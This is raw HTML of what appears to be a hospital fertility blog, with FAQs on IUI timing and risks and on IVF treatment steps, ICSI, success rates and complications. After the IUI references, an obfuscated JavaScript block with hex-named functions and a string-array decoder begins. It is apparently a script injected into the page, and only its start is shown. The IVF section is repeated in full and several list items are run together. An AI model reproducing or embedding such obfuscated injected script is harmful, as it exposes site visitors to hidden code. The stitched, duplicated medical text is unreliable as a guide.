want the semen to be delivered within a half hour of ejaculation, around the time of liquefaction, so if one lives close enough the sample can be collected at home.</p>\r\n<p>There will delay between when the semen sample is given for washing and when it will be inseminated. The amount of time depends on the washing technique used, which takes 30 minutes to two hours. Most will perform the IUI as soon after washing is completed as possible.</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/blog4.png\">\r\n\r\n<strong>How long does washed sperm live?</strong>\r\n<p>Current research indicates that washed sperm can live 24-72 hours; however, it does lose potency (ability to fertilize the egg) after 24 hours. Another issue with IUI is that the sperm can keep on swimming beyond the fallopian tube, so the ideal window is really within 6-12 hours of the egg being released, with a larger margin before ovulation than after since the egg’s viability is shorter. Sperm can live up to 5 days in fertile mucus, 2-3 days being pretty common, so combining IUI with intercourse may provide better coverage.</p>\r\n\r\n<strong>How long do I have to lie down after an IUI?</strong>\r\n<p>It is advisable to lie down  for 30 minutes after the procedure.</p>\r\n\r\n<strong>Do I need to rest after an IUI?</strong>\r\n<p>Most people don’t need to, but if you had cramping or don’t feel well afterward it makes sense to take rest for awhile. Some people reduce their aerobic activity and lifting heavy weights during the luteal phase, in the hope that, it will increase the chance of implantation.</p>\r\n\r\n<strong>How long before an IUI should the male abstain from intercourse/ejaculating and store up sperm?</strong>\r\n<p>This depends on your individual situation, but it usually should not be more than 72 hours since his last ejaculation in order to ensure the best motility and morphology. Where low sperm count is the reason for IUI, it is generally best to wait 48 hours between ejaculation and collecting sperm for the IUI. With no sperm count issues, it makes sense to wait at least 24 hours.</p>\r\n<strong>How soon after an IUI can I have intercourse?</strong>\r\n<p>Usually you can have intercourse anytime after an IUI. In fact, most doctors suggest having intercourse, when that is an option, soon after the last IUI to help make sure ovulation is covered. The doctor may suggest waiting 48 hours to resume relations if you had any bleeding during the IUI.</p>\r\n\r\n<strong>What are the risks involved in IUI?</strong>\r\n<p>The main risks are some discomfort such as cramping, minor injury to the cervix that leads to bleeding or spotting, or introduction of infection .There are also risks of hyperstimulation associated with the use of ovulation induction medications such as clomiphene citrate (low risk) and gonadotropin therapy (higher risk). Proper technique and adequate monitoring reduce risks.</p>\r\n\r\n<strong>When will I have to test for pregnancy after an IUI?</strong>\r\n<p>Pregnancy test should be done 2 weeks after an IUI.</p>\r\n\r\n<strong>Reference</strong>\r\n<p>https://www.asrm.org/FACTSHEET_Intrauterine_Insemination_IUI/</p>\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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procedure in which the eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.</p>\r\n<strong>Who needs an IVF?</strong>\r\n<p>IVF may be considered if,</p>\r\n<ul>\r\n	<li>you have been diagnosed with unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis\r\n</li>\r\n	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n	<li>If you have severe endometriosis</li>\r\n</ul>\r\n\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n<p>Your treatment cycle would be as follows</p>\r\n<p><strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.</p>\r\n<p><strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.</p>\r\n<p><strong>Step 3:</strong>  Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.</p>\r\n<p><strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.</p>\r\n<p><strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.</p>\r\n<p><strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.</p>\r\n<p><strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.</p>\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n	<li>Be stress free and relax your mind</li>\r\n	<li>Avoid intercourse during the treatment.</li>\r\n	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n<p>You will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.</p>\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n<p>It is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check.  This does not increase your chances of becoming pregnant.</p>\r\n <p>ICS</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\">\r\n \r\n  <p>IVF</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\">\r\n \r\n\r\n\r\n  <strong>What is ICSI? How does it differ from IVF?</strong>\r\n<P>ICSI –<a href=\"https://www.nuhospitals.com/ivf/infertility-treatment/\"> Intracytoplasmic sperm injection,</a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.</P>\r\n\r\n<strong>What is the success rate?</strong>\r\n<p>Success rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of infertility. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.</p>\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n<p>Surplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.</p>\r\n\r\n<strong>What are the complications?</strong>\r\n<p>Two most important complications of IVF are</p>\r\n<ul>\r\n	<li>Multiple pregnancy (20-25%)</li>\r\n	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n<p>You will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer</p>\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n<p>There is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.</p>\r\n\r\n<strong>References</strong>\r\n<ul>\r\n<li>Fertility: assessment and treatment for people with <a href=\"https://www.nuhospitals.com/fertility/\">fertility</a> problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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eggs and the sperms are fertilized outside the body and then transferred back to the womb after 2-5 days.</p>\r\n<strong>Who needs an IVF?</strong>\r\n<!--more-->\r\n<p>IVF may be considered if,</p>\r\n<ul>\r\n	<li>you have been diagnosed with unexplained <a href=\"https://www.nuhospitals.com/infertility-ivf/\">infertility</a></li>\r\n	<li>your fallopian tubes are blockedother techniques such as fertility drugs or intrauterine insemination (IUI) have not been successful</li>\r\n	<li>other techniques such as fertility drugs or intrauterine insemination (IUI) have not been successfulthe male partner has fertility problems and an abnormal semen analysis\r\n</li>\r\n	<li>The male partner has fertility problems and an abnormal semen analysis</li>\r\n	<li>you are using your partner’s frozen sperm in your treatment and IUI is not suitable for you</li>\r\n	<li>you are using donated eggs or your own frozen eggs in your treatment</li>\r\n	<li>you are using embryo testing to avoid passing on a genetic condition to your child.</li>\r\n	<li>If you have severe endometriosis</li>\r\n</ul>\r\n\r\n<strong>What do I expect during my treatment cycle?</strong>\r\n<p>Your treatment cycle would be as follows</p>\r\n<p><strong>Step 1:</strong> Once you have decided to go ahead with IVF, you will undergo a day care procedure called hysteroscopy to assess the suitability of the uterus to hold the baby. It is generally done one month before your IVF cycle and involves the introduction of a small camera into the womb through the vagina to visualize the inside of the uterus. You will be given anaesthesia during the procedure and hence there will be no pain.</p>\r\n<p><strong>Step 2:</strong> Your husband has to freeze one semen sample as a back up.</p>\r\n<p><strong>Step 3:</strong>  Typically your treatment would begin on the second or third day of periods. It involves a scan and hormone tests followed by daily injections for about 8-10 days, along with monitoring by scan and hormone tests in between. Once the eggs are sufficiently grown as per the scan and hormone tests, you will receive injection Hcg as a ovulation trigger.</p>\r\n<p><strong>Step 4:</strong> Egg retrieval is performed transvaginally 35 – 36 hours later, with light anaesthesia, using a transvaginal ultrasound guidance. You will be discharged same evening, unless there are problems associated with bleeding, undue pain or ovarian hyperstimulation.</p>\r\n<p><strong>Step 5:</strong> After retrieval, eggs are assessed for their maturity. Meanwhile husband has to give a fresh semen sample. Mature eggs are injected with the sperms on the same day and grown in the incubator for 3-5 days.</p>\r\n<p><strong>Step 6:</strong> The final step is the embryo transfer. 3-5 days after your egg retrieval, two or three embryos are selected and gently transferred into the womb using an abdominal ultrasound guidance. The procedure is usually painless, no anaesthesia is required and you will be discharged in about two to three hours.</p>\r\n<p><strong>Step 7:</strong> You will be given certain supportive medications starting from the day of egg retrieval till your pregnancy check. You will be called for a pregnancy check 16-17 days after your embryo transfer.</p>\r\n\r\n<strong>What precautions do I take during the IVF treatment?</strong>\r\n<ul>\r\n	<li>Eat a healthy diet rich in fruits and vegetables</li>\r\n	<li>Be stress free and relax your mind</li>\r\n	<li>Avoid intercourse during the treatment.</li>\r\n	<li>Don’t do strenuous job during the treatment as your ovaries are enlarged and they may twist sometimes causing acute pain.</li>\r\n</ul>\r\n\r\n<strong>How do I prepare myself for an egg retrieval procedure?</strong>\r\n<p>You will get admitted to the hospital early in the morning, between 6am – 7am and you have to be empty stomach atleast 6-8 hours before the procedure. You will be administered light anaesthesia as intravenous medication. The procedure is done vaginally using the scan guidance and a small needle. The entire procedure takes about 20-30 minutes. Post procedure you may have slight pain or bleeding which usually subsides with medication. You will be discharged about 6 hours later.</p>\r\n\r\n<strong>What do I expect during embryo transfer?</strong>\r\n<p>It is done 3-5 days following the egg retrieval, which will be decided by your clinician. No anaesthesia is required as it is a painless procedure. Rarely during your initial assessment if it is found that getting into the uterus is difficult or if you are very uncooperative, you may be given light anaesthesia. Your bladder has to be full before the procedure as it is done under abdominal scan guidance. Do not wear perfume/ deodorant or powder on that day as they are harmful to the embryos. Two or Three embryos are gently transferred to the uterus using a small catheter. You will lie down for about 15 – 30 minutes after the procedure and later you can pass urine. No need to take bedrest until your pregnancy check.  This does not increase your chances of becoming pregnant.</p>\r\n <p>ICS</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf10.png\">\r\n \r\n  <p>IVF</p>\r\n<img src=\"http://www.nufertility.com/blog/wp-content/uploads/2018/02/ivf9.png\">\r\n \r\n\r\n\r\n  <strong>What is ICSI? How does it differ from IVF?</strong>\r\n<P>ICSI –<a href=\"https://www.nuhospitals.com/ivf/infertility-treatment/\"> Intracytoplasmic sperm injection,</a> is an IVF procedure in which a single sperm is injected directly into an egg whereas in IVF, about 50,000 to 1,00,000 sperms are inseminated around the eggs and one of them penetrates the egg on its own. ICSI increases the fertilization rates especially in male factor infertility and cases of previous fertilization failure.</P>\r\n\r\n<strong>What is the success rate?</strong>\r\n<p>Success rate varies with multiple factors especially the age of the women, egg and the sperm quality and the underlying cause of infertility. Over all the success varies between 40-50 %. Success decreases as the age of the woman increases.</p>\r\n\r\n<strong>What is frozen embryo transfer?</strong>\r\n<p>Surplus embryos after your transfer can be frozen and kept in liquid nitrogen at -180 degree Celsius, for later use.</p>\r\n\r\n<strong>What are the complications?</strong>\r\n<p>Two most important complications of IVF are</p>\r\n<ul>\r\n	<li>Multiple pregnancy (20-25%)</li>\r\n	<li>Ovarian hyperstimulation syndrome which occurs due to excessive response and can be prevented b appropriate modifications in the medications</li>\r\n	<li>Rarely ovaries may twist causing acute pain and may require a laparoscopy</li>\r\n</ul>\r\n<strong>When can I know if I have become pregnant?</strong>\r\n<p>You will be tested for beta HCG – a blood test to confirm pregnancy 14 to 16 days after your embryo transfer</p>\r\n\r\n<strong>Is my pregnancy going to be more riskier after IVF?</strong>\r\n<p>There is no evidence to show that IVF babies have increased rate of abnormalities. The pregnancy outcome will be like a normal conception but your doctor may have a low threshold for intervention when the problem arises.</p>\r\n\r\n<strong>References</strong>\r\n<ul>\r\n<li>Fertility: assessment and treatment for people with <a href=\"https://www.nuhospitals.com/fertility/\">fertility</a> problems.NICE clinical guideline ;– Issued: February 2013.</li>\r\n	<li>van Loendersloot LL, van Wely M, Limpens J, Bossuyt PM, Repping S, van der Veen F (2010). “Predictive factors in in vitro fertilization (IVF): a systematic review and meta-analysis”. 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